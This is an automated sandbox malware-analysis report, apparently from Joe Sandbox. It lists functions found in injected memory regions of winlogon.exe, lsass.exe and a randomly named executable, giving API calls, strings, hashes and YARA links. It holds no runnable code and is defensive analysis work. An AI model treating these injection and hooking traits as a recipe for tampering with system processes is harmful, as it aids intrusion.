Instruction ID: a15945065d89435b6d58080b2ea34464beef53a1596a2d5ce657289fdf07ecc6
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 5911733EA34E7131F67415ECD45D3751151EB783FAF38C6A4A976076D6DA34C841E200

Function 00000225DC61F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000225DC61F124

Strings

Wednesday, xrefs: 00000225DC61F1ED
or copy constructor iterator', xrefs: 00000225DC61F25A, 00000225DC61F275
Tuesday, xrefs: 00000225DC61F0F4

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 944570b48e0c60bc5ad5e959f3b97a539a301ff4876b6c2567b65f1bc9dbc55e
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2961E27E606E6066FE69CBFCE55D32E66A0F785793F54C415EA0A037A4DB34C842C302

Function 00000225DC64AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000225DC64AA68
_CallSETranslator.LIBVCRUNTIME ref: 00000225DC64AAB7

Strings

MOC, xrefs: 00000225DC64AA7C
RCC, xrefs: 00000225DC64AA85

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 5ee5bc15fcc7ca4683ce8519a978933ac552fc7779cbca0cf07b2e2c35c6d78e
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 6561CF3B608F94AAEB20DFA9D04439D7BA1F348B8DF148255EF4A17B99DB38C085C700

Function 00000225DC61A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC61A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC61A288

Strings

csm, xrefs: 00000225DC61A2DA
csm, xrefs: 00000225DC61A1C2

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 4352b4e7d2f757b2eeab07a41cb79b5cce5006a568909e68af21b5ba570d396d
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9B51C23A105BA0EAEF748F99944835877A0F355B97F28C215EB89C7BD6CB38C451C700

Function 00000225DC64AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC64ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000225DC64AE88

Strings

csm, xrefs: 00000225DC64ADC2
csm, xrefs: 00000225DC64AEDA

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: e2a4ec1541559836ceca0d34c116ae26037d4692d9dd8773577d8c71d6944edc
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9C51C37A10CBA0FAEB748F9A948835977A0F354B86F24C159FA5A47BD7CB38C451C700

Function 00000225DC618405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6184A8

Strings

csm, xrefs: 00000225DC61848E
f, xrefs: 00000225DC618426

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8a2ee0853dea6fc810b70285cdad8afa924fb268fca63da5ab5c18953c58d14e
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 9F51BF3A712A20AAEF94CF99E448B1937A5F358B9FF52C224DE0647788EB34CC41C704

Function 00000225DC6183E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000225DC618413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000225DC6184A8

Strings

csm, xrefs: 00000225DC61848E
f, xrefs: 00000225DC618426

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: a13f22b0c5ddbfd73ffef1e451b0b481ee6602808d75d20c911345d57e3c4186
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: A731C03A602B60A6EB64DF5AE84871977A4F748BDFF16C214EE5B47784DB38C940C704

Function 00000225DC652058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000225DC6520D7
WriteFile.KERNEL32 ref: 00000225DC65239F
WriteFile.KERNEL32 ref: 00000225DC6523E5
GetLastError.KERNEL32 ref: 00000225DC65249B

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: bfa2cf39ed762a0c864f02a182d0b99d9a486c982741babc9b475573dd9f7606
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: F7D1F376724E90A9E712CFB9D44839C3BB1F754799F248216CF5E97B99DA34C406C340

Function 00000225DC6414A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6414C5
HeapFree.KERNEL32 ref: 00000225DC6414D4
GetProcessHeap.KERNEL32 ref: 00000225DC6414E1
HeapFree.KERNEL32 ref: 00000225DC6414F0
GetProcessHeap.KERNEL32 ref: 00000225DC641500

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 6bfd24914fe268a9eaf32d670607eda920269b08af1813506c338134dac0ed3e
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: E2115E7A524FA0E6E724DFEEA80816977A0FB89F86F148025DB4A53726DE34C451C740

Function 00000225DC652980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000225DC652A9C
GetLastError.KERNEL32 ref: 00000225DC652B27

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: 6d7b5b403a3188d3b4841f9fb94707250acf1a7d2d8579f267c512fad794f412
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 7391D67AB20E70A5F766DFAD94883AD3BA0F754B8AF24C109DE0A57795DB34C486C700

Function 00000225DC647960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000225DC64798C
GetCurrentThreadId.KERNEL32 ref: 00000225DC64799A
GetCurrentProcessId.KERNEL32 ref: 00000225DC6479A6
QueryPerformanceCounter.KERNEL32 ref: 00000225DC6479B6

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: d33dc497d620ec2850d47fa6d7599d0f75ef197f864d2f2ea1a1538dcd62ba05
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 54113026714F119AEF50CFE8E8593A833A4F719759F440E21DB6D467A4DF78C1A8C380

Function 00000225DC64253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC642620
StrCpyW.SHLWAPI ref: 00000225DC642639

Strings

\\.\pipe\, xrefs: 00000225DC64262B

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 898a99a824d3708835f2c6571b9ade3bad5d2cda467ec0446c5c9970c4b06ed6
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6471F63A20CFA166E7269FED98483EA7794F389B86F648066DD0B53B89DE35C541C700

Function 00000225DC619E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000225DC619EB7

Strings

MOC, xrefs: 00000225DC619E7C
RCC, xrefs: 00000225DC619E85

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 1c103488b81b5755e9a858689f9c8f9220dbcbf2f2fcf3c8ea21b2028d61d58d
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: C5619D3B602F549AEB20CFA9D44439D7BA0F748B8EF148215EF4917B99DB38D156C700

Function 00000225DC642330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC642416
StrCpyW.SHLWAPI ref: 00000225DC64242D

Strings

\\.\pipe\, xrefs: 00000225DC642421

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 46897ffc2cc2630562e995aa3ab88a20c60a5fe9943d3a7bd5f75d2a5dc7dda7
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 8051273A60CFA1A1E6799FEDE05C37A7B51F784B41F648165CE4B03B49CA39C544C740

Function 00000225DC6526F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC652807
GetLastError.KERNEL32 ref: 00000225DC652829

Strings

U, xrefs: 00000225DC6527B3

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: ff598f2dff618ae855125180d135eff0feb50115b417593be16094bb43c2f728
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: BC41C476325E90A6DB21CFA9E8483AE77A0F798795F508021EE4E87794EB7CC445C740

Function 00000225DC6494A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC6494F0
RaiseException.KERNEL32 ref: 00000225DC649531

Strings

csm, xrefs: 00000225DC64951E

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 8e6f9ddc8bd4a0050d82363797f3a651ef4e3f91162d625b6a7f86f7e5c4113b
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: CF115B36218F9092EB608B59E40435977E4FB88B99F288260EF8D47B68DF3CC552CB00

Function 00000225DC617356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC61737C

Strings

ierarchy Descriptor', xrefs: 00000225DC617381
riptor at (, xrefs: 00000225DC617364

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 40d697394cd767119a46280874914b4daa5d8e9346db535fcc515f98333aa0ca
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 7EE08661A41F84A0DF118F66E8442D873A0DB58B69B48D122995C46311FA38D1E9C300

Function 00000225DC6173B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000225DC6173D8

Strings

Locator', xrefs: 00000225DC6173DD
riptor at (, xrefs: 00000225DC6173C0

Memory Dump Source

Source File: 00000016.00000002.3076077378.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc610000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 33387b3a89b0f7cf97b4c9f63ea1e6ce0b438a2dcf969175634c70bf0c094b31
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: F9E0CD61A01F44D0DF118F65D4441D87360E75CB69F88D222CD4C47311FB38D1E5C300

Function 00000225DC641BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641C2D
HeapAlloc.KERNEL32 ref: 00000225DC641C3B
GetProcessHeap.KERNEL32 ref: 00000225DC641C77
HeapFree.KERNEL32 ref: 00000225DC641C85

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 435233d5cd765dd7833698f1ddb9f59ae8d1156237805913c2fcddc5f4e0a6b6
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: B2119129615F5492EB54DFAEA80C26973A1FB89FC2F188065DE4E53765DF38C442C300

Function 00000225DC641268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64126E
HeapAlloc.KERNEL32 ref: 00000225DC64127D
GetProcessHeap.KERNEL32 ref: 00000225DC641297
HeapAlloc.KERNEL32 ref: 00000225DC6412A8

Memory Dump Source

Source File: 00000016.00000002.3077107015.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 46137aeb2ac080d4014b8e101a3abee4704eba82c5d2520b876412a79b8151bf
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 77E06D39621E1486EB548FEAD80C36A36E1FB89F06F14C024CA0907751DF7DC499C750

Analysis Process: whrbuflqwhah.exePID: 8056, Parent PID: 620COMMON

Executed Functions

Function 00007FF6CCFE1140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.1725784337.00007FF6CCFE1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6CCFE0000, based on PE: true

Associated: 0000001D.00000002.1725766723.00007FF6CCFE0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001D.00000002.1725844500.00007FF6CCFF3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001D.00000002.1725888487.00007FF6CCFF9000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001D.00000002.1726557966.00007FF6CCFFA000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001D.00000002.1729355957.00007FF6CD523000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001D.00000002.1729379853.00007FF6CD528000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff6ccfe0000_whrbuflqwhah.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1235303a4078601fa075146d934a06d32e9be1ad41df72c2bceefdb3f93881ef
Instruction ID: d4c8ad65ee591ea158914f60be854de999062e7af29f54b5b37fffc69d8a6deb
Opcode Fuzzy Hash: 1235303a4078601fa075146d934a06d32e9be1ad41df72c2bceefdb3f93881ef
Instruction Fuzzy Hash: 28B01230D04789C8E3002F02D84135C36A0AF08742F414035C45C83353CEFD90408B50

Analysis Process: lsass.exePID: 628, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	261
Total number of Limit Nodes:	15

Executed Functions

Function 00000202C0AE253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000202C0AE2620
StrCpyW.SHLWAPI ref: 00000202C0AE2639

Strings

\\.\pipe\, xrefs: 00000202C0AE262B

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 383afa285ac380fd55eaa2c4cb7d261a7defb1f4293108ecd3c580df2b121f06
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 517190362047C1C6F625DF2998CC3AE7794F389B84F560127DFAA53B8ADA35CA598700

Function 00000202C0AE202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000202C0AE20C6

Part of subcall function 00000202C0AE2F04: GetProcessHeap.KERNEL32 ref: 00000202C0AE2F27
Part of subcall function 00000202C0AE2F04: HeapAlloc.KERNEL32 ref: 00000202C0AE2F3A
Part of subcall function 00000202C0AE2F04: StrCmpNIW.SHLWAPI ref: 00000202C0AE2FAF
Part of subcall function 00000202C0AE2F04: GetProcessHeap.KERNEL32 ref: 00000202C0AE3015
Part of subcall function 00000202C0AE2F04: HeapFree.KERNEL32 ref: 00000202C0AE3023

Strings

S, xrefs: 00000202C0AE21E7
dialer, xrefs: 00000202C0AE20BF

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 7d0801e181e7e1027f0f2556f8cd6da4d5c454e321737ababf7947f23bb56196
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 5651AC32B107A4C6FB61CF29E88C6AD63E5F704784F069123DFA512B86DB35C969C300

Function 00000202C0AE1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000202C0AE1A60
StrCmpNIW.SHLWAPI ref: 00000202C0AE1A7A
lstrlenW.KERNEL32 ref: 00000202C0AE1A89
StrCpyW.SHLWAPI ref: 00000202C0AE1A9E

Strings

\\?\, xrefs: 00000202C0AE1A6E

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 8c3d5dbfacf504bca622ea7f657326f4a67cd1e3c1ec290e5004b19a988dad2d
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: BCF01922304781D2FB608B21E8CC76D6765F748BC8F958123DB994B966DA2DC68DCB00

Function 00000202C0AE328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000202C0AE32AE
PathFindFileNameW.SHLWAPI ref: 00000202C0AE32BD

Part of subcall function 00000202C0AE3844: StrCmpNIW.SHLWAPI ref: 00000202C0AE385C

Part of subcall function 00000202C0AE3790: GetModuleHandleW.KERNEL32 ref: 00000202C0AE379E
Part of subcall function 00000202C0AE3790: GetCurrentProcess.KERNEL32 ref: 00000202C0AE37CC
Part of subcall function 00000202C0AE3790: VirtualProtectEx.KERNEL32 ref: 00000202C0AE37EE
Part of subcall function 00000202C0AE3790: GetCurrentProcess.KERNEL32 ref: 00000202C0AE3809
Part of subcall function 00000202C0AE3790: VirtualProtectEx.KERNEL32 ref: 00000202C0AE382A

CreateThread.KERNEL32 ref: 00000202C0AE330B

Part of subcall function 00000202C0AE1D14: GetCurrentThread.KERNEL32 ref: 00000202C0AE1D1F

Memory Dump Source

Source File: 0000001F.00000002.3107960596.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 435a5f88e7c6a6dd218e0f6004eb37f2790bd4aa4d5b291e1e8191fef771e2ad
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A8119672618782D2F760D721F8CDB6D2294BB54748F528127ABB6497A3EF78C46C8240

Function 00000202C0AE1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000202C0AE1628: GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
Part of subcall function 00000202C0AE1628: HeapAlloc.KERNEL32 ref: 00000202C0AE1642
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
